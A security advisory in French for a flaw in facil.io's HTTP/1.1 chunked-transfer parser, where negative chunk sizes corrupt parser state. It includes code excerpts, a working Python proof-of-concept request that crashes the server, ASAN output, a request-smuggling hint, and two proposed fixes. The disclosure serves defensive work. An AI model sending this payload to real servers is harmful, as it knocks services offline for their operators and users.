
Avis de sécurité pour CVE-2026-66731 avec analyse des causes racines, exploit PoC et suggestions de correctifs pour le bug du parseur d'encodage par blocs HTTP/1.1 de facil.io.
Identifiant CVE attribué : CVE-2026-66731
Produit : facil.io
Versions concernées : facil.io >= 0.7.5 (0.7.5, 0.7.6, master) ; introduit lorsque le parseur HTTP/1.1 de la branche 0.8.x a été rétroporté dans 0.7.5 - absent des versions 0.6.x et 0.7.0–0.7.3
Composant : lib/facil/http/parsers/http1_parser.h
CWE : CWE-20 (Validation incorrecte des entrées), CWE-682 (Calcul incorrect), CWE-125 (Lecture hors limites)
CVSS v3.1 : 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Chercheur : Theodosis Paidakis
Le parseur de l'encodage de transfert en chunks accepte un signe moins en tête dans les valeurs de taille de chunk. http1_atol16 renvoie un long long négatif pour des entrées comme -FFFFFF. Le parseur stocke 0 - chunk_len dans comme sentinelle pour « dans un chunk ». Lorsque est négatif, cette soustraction produit une grande valeur positive, corrompant la machine à états. Un calcul de pointeur ultérieur déplace alors le pointeur de lecture des millions d'octets avant le tampon d'entrée, dans une mémoire non mappée, provoquant le crash du processus. Une seule requête POST non authentifiée suffit.
content_lengthchunk_lenÉtape 1 : http1_atol16 accepte un signe moins en tête
lib/facil/http/parsers/http1_parser.h, lignes 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
L'entrée -FFFFFF\r\n produit chunk_len = -16777215LL. La section 4.1 de la RFC 7230 spécifie que les tailles de chunk sont des entiers hexadécimaux non négatifs. Un signe moins en tête n'est pas valide.
Étape 2 : Corruption de la machine à états
lib/facil/http/parsers/http1_parser.h, lignes 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
Le parseur utilise un content_length négatif comme sentinelle signifiant « lecture du corps d'un chunk en cours ». Avec un content_length positif de +16777215, la machine à états croit lire un corps simple (non encodé par chunk) de 16 Mo.
Étape 3 : Le pointeur recule vers une mémoire non mappée
À l'itération suivante, le parseur calcule :
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
La lecture depuis cette adresse provoque une faute.
Démarrez le serveur, puis exécutez :
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
Sortie ASAN (confirmée) :
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Effet selon la taille de chunk envoyée :
| Taille de chunk | content_length après corruption | Résultat |
|---|---|---|
-0 | 0 | Corps silencieusement ignoré ; le serveur survit |
-1 | +1 | Pointeur 1 octet avant le début |
-FFFFFF | +16777215 | Pointeur 16 Mo avant le début ; crash |
-7FFFFFFF | +2147483647 | Pointeur 2 Go avant le début ; crash |
Remarque : le cas -0 (0 - 0 = 0) atteint la branche « corps chunké terminé » et le serveur survit, mais le serveur accepte la requête comme ayant un corps vide, quelles que soient les données qui suivent. Cela peut servir de primitive de contrebande de requêtes (request smuggling) dans les déploiements derrière un proxy où le front-end analyse l'encodage en chunks différemment.
Une seule requête non authentifiée Transfer-Encoding: chunked avec une taille de chunk négative fait planter le serveur. Toute application acceptant HTTP/1.1 est concernée ; l'encodage par chunk est une fonctionnalité de base du protocole et ne nécessite aucune configuration au niveau applicatif.
Chacune des deux approches est suffisante. Privilégiez le correctif 1.
Correctif 1 : rejeter le signe moins en tête dans http1_atol16
lib/facil/http/parsers/http1_parser.h, ligne 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Correctif 2 : valider chunk_len avant utilisation
lib/facil/http/parsers/http1_parser.h, ligne 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
Le commit 53caca31 (« Fix atol16 to fix chunked length calculation », déc. 2019) a corrigé la condition de la boucle de détection de dépassement, mais a conservé le code de gestion du signe. Le commit fe847cdf (« fix HTTP/1.1 parser against smuggling attack », mai 2020) traitait les conflits TE/CL (présence à la fois de Transfer-Encoding et de Content-Length). Aucun ne couvre les tailles de chunk négatives.